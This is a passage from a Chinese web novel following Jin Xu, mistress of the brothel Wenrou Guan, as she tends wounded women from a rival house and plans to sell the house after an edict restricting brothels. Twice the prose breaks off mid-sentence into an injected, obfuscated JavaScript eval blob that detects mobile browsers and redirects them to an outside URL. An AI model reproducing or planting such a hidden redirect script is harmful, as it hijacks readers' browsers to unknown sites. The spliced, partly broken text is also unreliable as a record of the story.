可能是因为她弟弟的忌日快到了吧。 耳边残留凝荷远去的笑声,金絮收拾完手中的衣服。 “火蓉,帮我把衣服分下吧,匀给每个姑娘,让她们缝完了放到库房去。 “好。”火蓉和几个丫鬟们抱起衣服去寝楼。 金絮想起还有梁风清晨留下的几个金碗银盘。她去到厨房,在专洗他的物品的隔间中看见了单独码放好的餐具。她小心触碰,查看纯度,金丝银边琉璃瓦,还有个勺子嵌了珠宝。 镶金嵌银的东西跟温柔馆真是格格不入。 今日他的李管家亲自来了,应该是想查看温柔馆服侍得怎样,才比以往多带了许多东西和人手,结果发现不如意,估计以后梁风再在这过夜,李管家能把半个梁府搬过来。 固然能顺带提提温柔馆的档次,但温柔馆毕竟不是他的家。 金絮清点一下,小心在物托上装好,端去前馆。 路上遇见大厢。 大厢接过她手中的物托,“阿絮姐,来了几个投奔入馆的人,是初香坊的姑娘,想来咱们这讨口饭吃。” “初香坊的人?”金絮想了想道:“看看去。” 此时的前馆十分热闹,闲着无事做的姑娘们三两一堆,互相对诗烹茶唱曲练琴,年纪小些的拿着毛笔在纸上涂涂抹抹,当作玩画;年纪稍长两岁的捧卷《诗》,或品茶,或低头摆弄棋子。各厢房徐徐音乐此起彼伏,间夹又轻又柔的调笑声,却不显嘈杂,甚至还能恰逢几个曲声与笑声重叠合拍的瞬间。 青楼女子在白日里很少上街,一身风尘气掩不住的话容易惹人指点,金絮就在前馆放置了许多供她们消遣的玩意,一方面能给来客增加趣味,一方面也能压压她的姑娘们孩儿般爱玩的天性,包括常见的琴棋书画诗茶花、蹴鞠毽子跳绳猜谜,甚至是丽姬和火蓉喜欢的剑舞,她都有准备。 金絮一眼便看见最多的一堆人中有三张陌生面孔。 她低声道:“将这餐具放去四楼后厢房,单独放,再拿尘罩盖着。” “好。”大厢捧托离开。 正和三人聊得最热络的人是媚秋。 “我跟你们说啊,待在我们馆很好的,比旁的那些小青楼都要好呢。” 金絮走近,媚秋看见她立刻介绍道:“我们絮娘。” 三人朝她看过来。金絮脸带笑,微微一点头。 “这是小月、小玲和阿香。”媚秋挨个介绍道。 样貌不错,年龄适合,体态也优美,只是眼睛里不如她的姑娘们清朗,多几分浅郁。 三人一同起身,同步福礼,同时道:“絮妈妈好。” 金絮脸上的笑一下子差点没挂住,她摆摆手,“不用这么客气,我与你们年纪相仿,叫我一声姐就好。坐。” 她鼻子轻嗅,闻到一丝气味,扭头向一个丫鬟道:“叫孙姨来。” 几人落座,金絮问:“初香坊的案子是结了么?你们馆内眼下是怎么个情况?” 小玲道:“没结,廷 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“我们去了。”小玲道:“不仅是几个名楼,就连一些小勾栏和酒楼都去了,可是都不愿意帮我们,我们无处可去,只能来投奔您了。” 温柔馆在城东,其余大部分青楼都在城西,难怪跨了大半个京城过来。 金絮继续说:“温柔馆确实帮不了你们,你们在这儿反而耽误了时辰,还不如去别处......” 她话还没说完,阿香直接走到她旁边跪下。 “温馆主,您帮帮我们吧,坊主和当日陪那长史大人的姑娘已经快被他们打死了。” 另外二人跟随跪下。 “那些当官的根本不是在查案,而是直接定了案,就等我们在重刑之下认罪,好免去他们办案的麻烦。” 周遭乐声渐歇,画笔沙沙和落棋声也停了,厢房里的姑娘纷纷探出往这观望。 金絮皱眉,“那长史大人到底怎么死的?” “不知道。”阿香眼中忍泪,“完全不知道。当日我就在房外,亲眼看着长史大人进房间,在他旁边的只有坊主和陪他的姑娘,门还没关上,他突然吐血、倒地抽搐,我们还没反应过来,廷尉的人就冲进来说我们杀了人......” 金絮静默听着,听完后略一思索其中关系,忍不住无奈扶额,“死得那么快,应该是一早就给人下了毒或其他致死的法子,再掐着时间让那长史大人死在你们馆中。” 阿香听了怔怔的,嘴张开未语眼泪先出来,声音悲愤又绝望。 “可他们不查啊......他们当官的不查啊!” 金絮默叹口气,伸手去扶,“你们先起来。” 三人不起,阿香朝前跪行一步,抓着她的衣袖,“之后我们也有人去官府申冤,可衙门门都没打开,就被廷尉的人以涉嫌之名重新抓了回去。温馆主,我知道您帮不了我们,但您能不能借我们一点银子?进牢房需要银钱打点,我想见坊主一面,她于我有恩......” “或者不给银子也行。”小月抢道:“方才我瞧见金馆主手里有几个碗碟,模样还不错,温馆主若不嫌弃,将那几个碗碟给我们也成。” 8. 温柔馆 金絮心下微惊,瞧了小月一眼。 这姑娘眼尖。 刚才即便能看见顶多也就一瞥,居然能发现那碗碟的精贵之处。那些餐具都印了梁风府上特有的长尾鱼纹,他的印记可比多少银钱都顶用。 这时孙姨推着药车过来。 金絮扶起阿香,“好了,别哭了,都先起来说话。我虽然其他事情帮不上忙,但银子还是可以借给你们的。” 阿香擦眼泪,水灵的眼睛看金絮,“温馆主您愿意帮我们?” 金絮点头,“是。” 阿香眼泪又掉下来,“真是太谢谢您了,我们之前去的馆子没有一家愿意借银子给我们。” “不客气,你们受审时也被用了刑吧,”金絮介绍孙姨,“这是我们馆里的专用大夫,我让她给你们治治伤。之后我再给你们些药材,你们拿去看看能不能用得上。” 其他姑娘招呼三人在一旁塌边坐下,金絮注意到阿香因为刚才动作有点大,背后渗出了血。 阿香抽噎着看看孙姨,又看看金絮,“这多麻烦您......您能帮我们,我已十分感激了。” 金絮没说话,孙姨一脸慈祥,“傻丫头,来,让我看看伤。” 阿香咬唇,低下头,眼里又泛出泪花。 孙姨问:“伤哪儿了?” “后背......” 孙姨脱下她们外衣,三人背后一片血污,里衣已经粘在了血肉上。 孙姨摸摸她们额头,再把把脉,“有点烧了。”转身从药车上取出纸笔,写张方子递给随身丫鬟拿去煎药,再净手,烧把剪刀。三人在榻上趴着,孙姨坐下,开始给她们清理伤口。 金絮向丫鬟吩咐道:“准备温水,再拿三套干净衣裳来。” 孙姨剪开衣裳,小心翼翼揭掉碎布,阿香咬紧牙关,眼泪扑簌落下。 周围气息发紧,众人看着都替阿香感到疼。血腥气渐渐弥漫开,有的姑娘因不忍看而撇开了眼。 金絮环顾一圈,挥手,与众姑娘说道:“回避一下吧。” 但没有一个姑娘离开。 小月闻言道:“温馆主果然不虚传言,对待自家姑娘如此体贴。这血腥之物,确实不看得好。” 金絮一愣,忙道:“不是,我让她们回避也是想替你们遮挡遮挡。” “遮挡?”小月看着她,似乎觉得很好笑,“这有什么好遮挡的?在我们馆,有些男客甚至不会进厢房,直接在堂厅里就脱姑娘衣裳了。谁还没看过谁。” 金絮呆了一呆,反应一会儿才从这句话里想象出那画面来,不知道找什么话接口就有姑娘惊愕地问: “堂厅里?直接脱吗?” “有些帷幔遮着,但即便看不清,听也听得清了。”小月笑笑,“在你们温柔馆,怕是不会发生这种事情吧。” 金絮默然。确实,如果真有这种事情发生,她宁愿不赚这笔钱,也会把那男的赶出去,而且还会杀鸡儆猴,同时做给其他男客们看。 四周响起姑娘们的议论声,之前是没有对比,如今有对比了,大家纷纷为自己感到庆幸。议论声愈演愈大,金絮也不管,任由她们窃窃私语。 孙姨开始给阿香上药,旁边小玲和其他姑娘接连安抚,阿香仍然疼得眼泪糊脸。 一盆盆清水血水进进出出,孙姨上药包扎好,换下一个小玲。 金絮看着满脸汗的阿香道:“累不累?累的话可以在我这睡会儿。” 阿香擦汗摇头,“多谢金馆主好意,但我还是想早些见到坊主。” 丫鬟递来干净衣裳,阿香换上。突然听得小玲惨叫一声,金絮忙扭头,发现小玲背后的烂肉比阿香还多,孙姨正专注地一刀一刀割掉。 “温馆主,”阿香唤道:“您馆中挂了好多字画啊。” 像是刻意想引开注意力,金絮依言顺着阿香视线环顾一圈,“嗯。” 温柔馆四壁挂了几幅字画,山水菊竹,各处还摆了些真花饰,花与字画搭配得正相适宜。 阿香挨个欣赏,“这都是你们自己画的吗?” “不全是。”金絮道:“大部分是买的名师大儒们写画的。” “哇......那为什么要挂这么多字画?有的地方还放了好些书呢,我看其他青楼都不曾摆这些。” 几处窗边柱下,有低矮的架子,放了几本旧书。 金絮不以为意道:“圣贤书嘛,摆几处撑撑样子,让那些进来的男客们知道敛几分躁气,也别忘了礼仪之本。” 大门口书架上摆着的就是《礼记》。金絮一向认为,经营馆子气氛很重要,若馆内给人感觉很野,那来的人多半不会控制自己;但若稍稍温敛一些,端出礼来,她的姑娘们就能好受很多。 “可这样,不会折辱了圣贤书嘛?”阿香喃喃道:“来青楼啊......还要被圣贤书约束着......” 金絮一顿,问:“虚伪么?” “不虚伪。”小月道:“虚伪是那些心向圣贤,身向青楼的文人才子......和当官的。” 阿香闻言,默然看画。 金絮心里对些个先贤圣人没多少神化之情,摆几本书有什么折辱不折辱的,圣贤之言不就是调节人的心性、端正人的行止的么,用来压压青楼里的淫躁之气再合适不过。 她只知道商人们偏好附庸风雅,有钱的商贾之家总喜欢偶尔吟诗一首,标榜自己的才气,以此往文人士族靠拢,彰显自己与地位低的商人不同。 因此她才将赚钱的眼光盯向商人的荷包,可结果出乎她意料,温柔馆的来客反而是商人少,文武官员居多。 孙姨的丫鬟端来煎好的药,盛一碗给阿香。阿香道谢接过,有些担忧地看着疼晕过去的小玲。孙姨已经开始给小月处理伤口。 金絮示意丫鬟将小玲扶起,喂下药后再换套衣裳,半背半抬地运进厢房,让小玲趴在床榻上,盖妥被子。丫鬟自觉点香、在床头预备茶水,做好一切事宜。 金絮同阿香道:“就让她在我这睡会儿吧,等你们去找过赵坊主之后,她要是还没醒,你们再来接她也行。” 阿香不胜感激,“多谢温馆主。若此事后有机会,阿香一定再次来好好谢过您。” “小事,不用这么客 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金絮斜躺在椅子里,吃着小缃洗好的葡萄,注意到阿香崇拜地看过来,懒懒应一声:“我会的才教一点。” 阿香眼中憧憬更甚,“真好呢,我只知道一句‘窈窕淑女,君子好逑’,还不会写。” “我教你写!”化莲兴兴奋奋地拿过刚才练画的纸笔,提笔就写,一边写一边说:“就是诗才好玩儿呢,圣贤讲的大道理还不如诗有意思。你看......这是窈......这是窕......这是淑......女。” “哇,我还是第一次这么仔细地瞧汉字呢。”阿香仔仔细细看着,仿佛是在用眼睛烙印那几个字,颇觉稀罕,忽又转头看金絮,“阿絮姐也喜欢诗吗?” 金絮没回答,化莲告诉阿香:“她不喜欢诗文,她喜欢自己写文章。” “哇,”阿香眉毛快飞起来,“阿絮姐好厉害,自己写!” “对啊。阿絮姐爱看讲故事的、多点趣味的,但这类文章很少,所以她就自己写。阿絮姐写的杂言游记最好看了,很多姑娘爱看,我也爱看。”化莲偷偷伏到阿香耳边,小声道:“不过阿絮姐说,她写的文章只能在馆里看,不能拿出去的。” “哦哦......”阿香懵懵懂懂。 金絮听着她们的议论,恍若未闻,无所谓地顾自吃果。 之后话题脱离诗文,逐渐分享起各自在各自馆里遇到的奇人奇事,像是什么恶心而不自知的丑男人一类,或是翩翩风流、温柔多情的公子哥,几个人头碰头地挨在一起,互相兴奋地八卦着,吸引周围越来越多的姑娘们加入。 这边一团人絮絮叨叨,另一边小月和孙姨也聊得起劲。 金絮仔细打量小月的神色,没有发现异样,这丫头看起来年纪小,却出奇能忍。 孙姨换下一块块血布,一旁姑娘接过换洗。小月疼得满脸汗,一面还能跟孙姨闲聊。 “孙姨,您那车上是避子药的药材吗?有几样我看着眼熟。” “是啊。丫头,老身方才看你脉象,从前有堕过胎?没调养好啊。” 9. 不愧温柔 小月点点头。 “这可不行,堕胎最伤身,就光那避子药,喝多了都对身体不好,这药钱绝对不能省。” 小月笑笑,“没钱省,有了一点钱都攒起来给自己赎身,哪会想着买什么药。” 孙姨皱眉,但没说什么,只是叹气。 “坊主不给我们买这些,她说有了孕就滑,或者自己买避子药。但是太贵了,我也只喝过一次。” 金絮放下果盘,走过去拿块帕子给小月擦汗。 小月道:“谢谢温馆主。” “谢什么。” 丫鬟帮着孙姨给小月包扎换衣裳,大厢盛药递给小月。药已经不烫了,小月一口气喝完,道声谢,将碗还给大厢。 孙姨从药车上分出些药材打包,准备给小月阿香二人带走,同时叮嘱不同药材的煎熬方法,哪些内服、哪些外敷,怎么熬煮,阿香不住点头记下。 这时有丫鬟抱着三四支巴掌大的药瓶来,“孙姨孙姨,您看这些药还能用不?我闻着味儿好像不太对了。” 孙姨取一支打开,倒些许粉末在手心,观察色泽再闻闻气味,“确实不能吃了,将房里这一批药全撤换下来吧。” 大厢听见,招呼丫鬟检查全部厢房。 “这是什么药?”小月问。 “和欢粉。”金絮答道。她也拾起一瓶药粉看了看,看不出个所以然,只闻出来药味确实有点变了。 “和欢粉?”小月愣怔了好一会儿,“温柔馆还会用这东西?” “会啊。”化莲热情地给小月讲解:“是给我们吃的。有的时候遇到特别着急的客人的话,想办法舔一点,起效特别快。” 小月似乎没反应过来,眨巴眨巴眼,“给我们吃的?” 化莲笑道:“我吃过好几次了,感觉相当不错呢。” 小月仍旧有点恍惚,看着那精致的小瓷瓶,不知想了什么,渐渐把头微低下去,“温柔馆啊......”喃喃道:“真是不愧温柔......” 金絮听见了,露牙承让一笑。 孙姨将打包好的药材递给二人,金絮再附上一小袋碎银,小月阿香千恩万谢地接过,直到临走时还在不住地感谢。 送走两人,金絮坐下沉思,思考初香坊事件背后的原因。 廷尉如此着急给初香坊定罪,估计是背后有人指使,或者是怕惹上真正杀死相府长史的人。梁风没有参与其中吗?如果有他在,廷尉不至于这么明目张胆。 皇帝知不知道杀死长史大人的幕后真凶?假设知道,放任廷尉如此行径的目的又是什么?为了引出真凶?那么凶手就很有可能是廷尉背后的人。假设皇帝不知道......不,没有什么是皇帝不知道的。 党争吗?谁和谁争?太子?太子和谁?如果是党争,那皇帝就很大可能知道内幕了。 一面这么思索,金絮一面又觉得自己想太多,这些距离她太远,可遏不住脑中灵光一闪,突然记起贾镇。 昨晚梁风特意跟她提起了贾镇,是在暗示她吗?暗示什么? 暗示?!金絮陡然一惊,这案子会和她有关系?! 不可能不可能不可能。她让自己冷静下来,回忆一遍梁风昨晚说过的话,他好像还提到了雪姬。 雪姬......明日休假...... 应该没关系,昨晚只是贾镇刚好在场,梁风于是随口问的一句而已。 金絮看不清眼前的形势,她离朝堂太远,触摸不到,只能胡乱猜测,可她又不十分信任自己的猜测。 况且即便看得清,她又能做什么?她会允许自己做什么? 索性不再想,有什么事情待看到发生的苗头后再做准备好了。 馆内安静下来,金絮不动声色地观察姑娘们脸色,感觉到气氛略为压抑。丫鬟把各房药瓶集在一处,控净粉末,药瓶粉末分开收放,孙姨统一收走,瓷器乒乓的清脆声渐渐远离,更增压抑。 “阿絮姐......” 众人中一个姑娘弱弱唤一声。 “同情么?”金絮低头看指,知道她的姑娘们在想什么,“可同情又有什么用?我也不能替官府给她们查案。我若是能申冤,我若能......” 又静下来。 金絮默叹不言,由着她们自己想。 “阿絮姐,我们会变成她们那样吗?” 金絮抬头,是一个未及笄的小姑娘问她。她笑道:“当然不会,放心吧,有我在呢。” 姑娘们慢慢笑开,气氛渐变轻松。 轻松之余,金絮注意到一扇门边,雪姬倚门静然站着,以及雪姬脸上忧愁两难的神情。 — 天黑后,金絮在房中算账,得知小玲醒了便自行回去了。人刚走,孙姨急急忙忙来找她。 “小絮呐,那三个姑娘身上的伤有毒啊!” 金絮放下手中的书册,“毒?” “是啊。”孙姨焦急道:“那毒不好清除,几天不治的话是会死的。” 金絮重视起来,“孙姨你先别担心,我跟她们说一声,让她们去找解毒的大夫。” 孙姨平时接触的病症多是日常易发的,或者是易出现在烟花女子身上的清洁病,少接触这类毒物,故白天时许是没反应过来。 “我怎么就没发现呢,当时分明还疑心这鞭伤的伤口怎会如此溃烂,我应当早些发现提醒她们的,若是她们......” “孙姨,您先别担心,出什么事别往自己身上揽,我让几个人去看看能不能找到她们。” “我给她们的药材是没用的,那几个丫头本身也不易......” “我都知道。” 孙姨年纪大了,平时最上心的事情就是对后辈的照顾。 安抚好孙姨,金絮立刻遣几个丫鬟去寻了一圈,正巧找到离去不远的小玲姑娘。告知后小玲表示了感谢,金絮又遣人多给了一份银子,安了孙姨的心。但那几个姑娘到底能不能把毒清干净,却也不知以后能否有机会再过问。 这夜,金絮将温柔馆近两年的账本闲闲翻了一遍,翻完又把自己私房钱的账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839744|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本也翻了一遍。算盘噼啪声充斥房间。 她算毕趴到桌上,侧头看着烛火,看得眼累了便去沐浴。 浴后,她躺在床上,隐约能听见楼上姑娘们在嬉闹,很快,嬉闹声便消,她伴着烛火浅浅睡着了,觉里浅浅做了一个梦。 梦中有棵梅花树,树下有本《红叶书》,书里两个小人物在互相取笑...... 梦很短,她醒来时正好梦完。 金絮坐起来,见天还未亮,烛火已燃尽,她看着窗口的月光,突然有种不好的预感。 没了睡意,披衣下床,她到窗边赏月,没赏一会回到屋中,点根蜡烛,将温柔馆库存捋一遍,没捋完又放下册子,去书架上取了本圣贤书,刚看两行她眼睛又从书上移开。 这一晚上怎么烦烦躁躁的。 金絮推门出去,穿过拱门,花园里一片寂静,偌大的温柔馆连个跟她一起失眠的人都没有。 水池里的鱼儿们也在睡觉,她百无聊赖,抓起一颗石子投进去,惊醒了一池鱼水。漫步到砖桥上,靠着石栏,就着月光,将刚才的梦小小回忆一遍,忆完觉得不过瘾,又将来到温柔馆后几年里记得的事情也过了一遍。 忆着忆着,天渐渐亮了,也起了雾,薄雾发蓝,衬得园中绿竹幽静,她终于感到有点困了。 正准备回房,隔竹看见一人从寝楼内出来,是雪姬。 她想了想,跟上去。雪姬绕到寝楼后面,大热天还裹着一件披风。 “雪姬。” 快要从后门出去时,金絮叫住了她。 雪姬站住,站了一会儿方才转过身来,面上一如既往的镇定。 “这就去了?不用过早饭再走吗?”金絮走近她。 “不了,墓在郊外,路远,早饭可以路上吃。” “那你小心些,午时之后,山中干燥,烧纸时莫走了火。” “好。” 雪姬略微低着头,金絮看她,看不清她的神情。 “真的要去吗?” “是。” 雪姬福身作别,转头开门步出,伴随雾气消失在街道深处。 心中不安感越来越强烈,金絮关上门,仔细想想雪姬只是去扫个墓,不至于出什么事的。 她定定神,打算回寝楼补觉,迎面碰上守完通宵的大厢。 大厢告知她,天快亮时贾镇回来了,回来洗了个澡又出去了,连饭都没吃。 “哦。”她揉揉脖子,略一思索道:“我知道了,你休息去吧。” 金絮这时又觉得有点饿,想厨房里应该已经有人了,便过去给自己煮了一碗粥。 吃饱后,饱腹感打消了残余睡意,金絮独自散步到大街上,看着来来往往生存于京城中的人们。清晨的阳光撕雾透出,晒着湿气,不热却闷得很,让人没走几步路就满额是汗。 她偶尔打个哈欠地闲逛,路过一家早点铺,笼屉蒸气间模糊了铺内光景,却能听见某桌的两个男人在说事。 金絮无意听了一耳朵,发现说的是,初香坊结案了。 10. 限令 “过分啊!” 厅堂中,金絮看着火蓉愤愤不平地来回踱步,周围坐了一圈姑娘丫鬟们。 相府长史被杀一案的结果是初香坊抄没,坊主与一众涉案姑娘判死刑。 跟这案子判决书一同出来的,还有一道圣旨。圣旨内容是三条针对青楼的限令。 第一条是禁止京内所有官员出入风月场所。 第二条是所有勾栏瓦舍每年增加一成税。自圣旨颁布第二年始增。 第三条是限制勾栏瓦舍每天开馆经营时限。每日只有酉时初到亥时末的三个时辰可以开馆迎客。 而京城的宵禁时辰正好是亥时末。 “他娘的就是狗皇帝!” 火蓉将手抄告示啪地拍在桌上,怒道:“这就是想逼我们自己关门!我就不信那些当官的这么能忍!他们下半身那点事都不需要发泄的么?” 金絮皱眉,“什么皇帝的......你小点声,我们温柔馆常客来了也不全为下半身那点事啊。” “还限时经营呢!还要涨税呢!他们怎么不直接把老百姓逼死算了!”火蓉朝着皇城的方向跳脚大喊:“暴!政!连坐......” 火蓉话没说完就被旁边两个姑娘捂嘴扯下去。金絮眉头皱得更深,走过去凝视火蓉,厉声道:“不知道祸从口出吗?我平时教你们读书就为了让你们在这个时候说这些的?” 火蓉喘气安静下来,犹自气愤,丽姬凑过去撞一下肩膀以作安慰。 “我知道你们生气,也知道你们此刻心中不安。”金絮环视所有姑娘,“但我更希望你们知道,你们恢复为良籍,走出馆外,站在太阳底下,你们没有任何不如别人的地方,你们和所有人一样,你们并不低人一等。” 她顿了顿,等待姑娘们把话听进肚中,然后继续说:“风尘女子又怎样?你么反而应该觉得,在温柔馆的这几年,你们读了书,识了字,能辨是非,能明事理,这是许多平常女子都不能做到的事情。” 众人间响起细碎的议论声,她们或坐塌上,或仅站立,三五一堆,姑娘们担忧自己的往后,丫鬟则显得镇定许多。 “阿絮姐,你说这话,是想将我们打发了去?” “阿絮姐,我们会认那几个字没用处啊,不能教书,又够不到写诗文的才,会认跟不会认是一回事......” “阿絮姐,我们没亲人的怎么办?出去之后连个认识的人、连个落脚地儿都没有,怎么就跟那些平常女子一样了......” “阿絮姐,你是要卖馆吗?” “阿絮姐,我们户籍怎么办?” ...... “好好,都先听我说。”金絮走到中央,对所有人道:“我肯定会卖馆。温柔馆现在每日都在亏损,不可能不卖,只是我不会卖得那么快,在你们找到去处之前,都可以住在这儿。” “你们从前的恩客有一些可能会收你们做妾,你们如果愿意的话,也算给自己往后找了个依靠。还有你们这些年攒下来的银子,我都不要,你们可以拿着这银子去一个安静的县乡,盘一个能做点买卖的铺面。” “或者铺面也不盘,只找个地方住下,我这些年不是教给了你们许多艺技吗,你们女红好的,可以做点针线荷包拿去卖;厨艺好的,可以去酒楼做帮工;跟着孙姨学会分药材的,可以去药材铺;字认得多的,还可以去大户人家抄抄书......” 温柔馆姑娘大多都是孤儿,都是卖身葬父母或是走投无路的人才会入馆,她们既没有后路,但又有许多条后路。 一位姑娘道:“阿絮姐,户籍怎么办?” “户籍......”这个最麻烦。 金絮从大厢手里接过几张卖身契,“我接掌温柔馆后,入馆的人的卖身契我都有留着,直接拿去衙门销籍,但这个我之前也同你们说过,改好后的户籍上是会记有你们被卖过一次的记录的,无法彻底销干净,至于在我接馆之前的人......” 原本温柔馆并不坐落京城,而是在南方的一个小县。早几年,前任馆主为躲战乱,举馆迁入京城,结果在搬迁途中,遗失了当时馆内所有人的卖身契。前馆主当时将此事瞒下了,直到金絮接手,才单独告诉了她这件事。 去衙门改籍需要原籍以作证明,奴籍改为良籍更需要卖身契才能改,金絮知道后就和姑娘们商量过一次,她们都孤身一人,待在馆里还能赚银子,别的也无处可去,当时就先将此事放下了。 “这个问题我来想办法......”金絮道。 可她这么多年了也没能解决。 其实可以办新籍的,只是办新籍有年纪限制,只能在出生后的几个月内于出生地办,而她的姑娘们都这么大了。 她倒是也能靠馆里官客,若有哪个姑娘的恩客在相府就事,那就非常好打通关系了。可是,利用官客的身份行事又违背了温柔馆的立馆原则——来者是客不是官。 原则是她立下的,自然不好由她来破除。金絮脑子里天人交战,这时又有一个姑娘问道: “阿絮姐,非卖馆不可吗?这么大个馆做别的营生不正合适?” “对,我知道。”金絮道:“正因为太大了,中间的花园实在多余,我完全可以卖掉再换个小点的铺面。” 轻易改营生没那么简单,若按林童忆说的,改做酒楼,那整个温柔馆得大改,加增厨房;诗书字画全撤;漆也要重新涂;还要去掉这满楼的脂粉香。 与其花费大银子这么办,还不如直接换个楼,何况以温柔馆的大小和内置,卖的价钱一定不低。 “那你做别的营生,我们还能跟着你吗?”一个姑娘怯怯问道。 金絮愣住了,愣了好一会儿才反问:“你们想跟着我?” 底下姑娘没人回应。 她有点诧异,但还是说:“去过自由自在的生活,去做自己想做的事,不好吗?你们不愿意吗?”她说完停顿一下,看一圈姑娘们的表情,再苦笑道:“看来温柔馆的日子,的确是让你们过得舒心了。” 她继续道:“可我往后不会待在京城。” “你们得靠自己。这些年,我一直不让你们过于依赖温柔馆就为的现在的情况。你们不是在为自己赎身攒银子吗?我卖馆,就当是提前给自己赎身了,没必要把这件事当成措手不及的意外。” 很多青楼都会给名气比较大的姑娘配备丫鬟,保证她们每日以最光鲜亮丽的姿态迎接客人,时间一长,这些姑娘容易被惯得离了丫鬟就无法过普通的生活。她们为自己赎了身出去生活后,才发现自己甚至不会洗衣做饭、拾柴赶集,于是过不了多久,又会回到青楼。 再就是孤身一人的女子怀揣钱财十分危险,极易被贩子劫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839745|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 财。 金絮见过几个这样的人,她接手温柔馆后立刻裁撤了一半的丫鬟,剩下一半只负责打理馆内杂务,不负责照顾姑娘起居,包括金絮自己也没有丫鬟,小缃除了偶尔跟着她外出,其余贴身事宜她都不让旁人经手。 用了几个月才让姑娘们习惯自理生活的日子,也让温柔馆在书香中多了几分烟火气。 她的要求不高,至少要会洗衣拾柴、收拾卧房,最好还能杀鸡,每月再轮流做几次给自家人吃的饭就好,给客人吃的就不用她们做了。 金絮道:“有机会的话,可以结个伴出去看看。你们中有的人是年纪很小时就入馆了,还没怎么见过外面的世界吧,可以出去玩玩的,只是注意保护好自己。” 像是水夭、凝荷,比她小了三、四岁,却跟她同时段入馆,几乎是被前馆主和她两手带大的。 “你们别害怕,往后的生活,不用卖身,不用为妓,是值得期待的。” 她说完,见姑娘们开始合伙低声议论,便在一旁席位坐下,倒杯茶喝。 凝荷走过来,揪着她的衣袖,还没说话,又有一个姑娘问道: “阿絮姐,做妾是个好出路吗?” 金絮答:“不好说好不好。能来咱们馆的大多都是富人,去给富人做妾至少能保证后半辈子衣食无忧。只是地位永远低正妻一等,也不是明媒正娶娶进去的,往后日子肯定少不了白眼。如果得宠的话,还可能受正妻明里暗里的打压。运气好生个儿子,日子才会好过很多。” “这么说......做妾一点都不好。” 金絮道:“未必。要看你图他什么了。” 底下姑娘又低低议论起来。 “阿絮姐姐,”凝荷摇摇她的衣袖,手指着自己,“我怎么办呀?” 金絮点了一下凝荷的额头,“你还能怎么办?自己看着办吧,让你整天贪玩。” 凝荷一听,袖子也不摇了,瘪着嘴巴往身后人怀中一扑,“水夭——” 水夭接住凝荷,“现在知道找我了?以前怎么没见你对往后的打算上上心?” 凝荷抱着水腰撒娇,似哭非哭地喊:“我女红又不好,厨艺又不会,药材也不会认,诗更不会读几首,我做妓......我就是做妓也没把那些男人伺候好。水夭——” “啧啧,你倒是知道自己一事无成,现在叫我没用了。放手。” “不放!你去哪儿我去哪儿......哎哟!” 凝荷被弹了额头,松开手,改抓着水夭衣袖。 金絮看着这个活宝也是无奈笑笑,收回目光,拿壶给自己续上茶,心中将可能有归宿的姑娘一一记下,让大厢晚点去跟这些姑娘确认去处,另外没有后路的姑娘再由她自己去问。 今晚就不开馆吧。 傍晚时分,金絮从几个外面回来的丫鬟处听说别的馆出了点动静,她赶紧让人去打听,得知是惜昔馆的人针对限令一事终于聚众去了官府讨说法,结果人还没到官府门口就被打散了。 她知道后,既不庆幸也不同情,只对他们敢于为自己讨说法的行为涌起一点敬佩。但也意识到,往后几年京城的风月行当估计是不好做下去了。 晚间,金絮挨个询问完可能没后路的姑娘们的想法,回房时边走边思索整理,没注意自己房间开着门,等抬头时,发现丽姬在房中。 11. 往后 丽姬在桌上放了碗土豆炖肉,还冒着热气。 “我做的。” 金絮也不客气,走过去,抓起筷子开吃。 窗外烛火悠悠,蝉鸣不寂。 丽姬斜倚在榻上,忽地抬起脚,没穿鞋袜的脚丫触到金絮腰边,拿脚背轻轻蹭,像是想要引起金絮注意。 “别闹。” 丽姬收脚,抓着手枕身子一转,斜躺在金絮旁边,抬头笑看她,“不待在京城,打算去哪儿?” 金絮咽下一口土豆,反问:“你打算去哪儿?” “我?我当然是去拾回老本行啊。”丽姬微抬下巴,一脸理所当然。 金絮沉脸,责怪道:“做点正经事吧。” 丽姬的老本行是做小骗子。挑个大户人家,在雨夜里卖可怜、躲雨,进门后随便摸点珠宝,揣兜里立刻就跑。一年骗个一两次,足够存活的了。 “我那样也算劫富济贫了。”丽姬说得坦然,“是侠盗。” “你可拉倒吧。侠盗济自己的贫啊?你现在长大了,再卖可怜不好使了。” “所以啊,我不卖可怜了,卖别的。” “卖啥?” 丽姬昂起脸,“卖我这副皮囊。” 金絮笑出声,仔细端详丽姬的脸,认同地点点头。 丽姬十七岁入馆,这四年来长开了不少,也成熟艳丽了许多。 论生计,馆里所有人金絮最不担心的就是丽姬,她不管是靠自己还是靠男人,都能活下去,甚至活得还挺好。 像是刚才,用脚勾的那么几下,还真有点感觉,这要是换个男人来,一定一勾一个准。 这些年,温柔馆在丽姬身上赚的钱,比其他一半的姑娘加起来还多,即便之后被雪姬占了魁首,每天只为丽姬而来的人仍旧超过雪姬。 “可惜啊,”金絮泼盆凉水,“还不是在林公子身上栽了跟头。” 提起林公子,丽姬脸色顿时有些火气,“那个林童忆......虚伪得很,哪个人上青楼只顾喝酒吃饭,别的啥都不干?这话说出去谁信啊?” 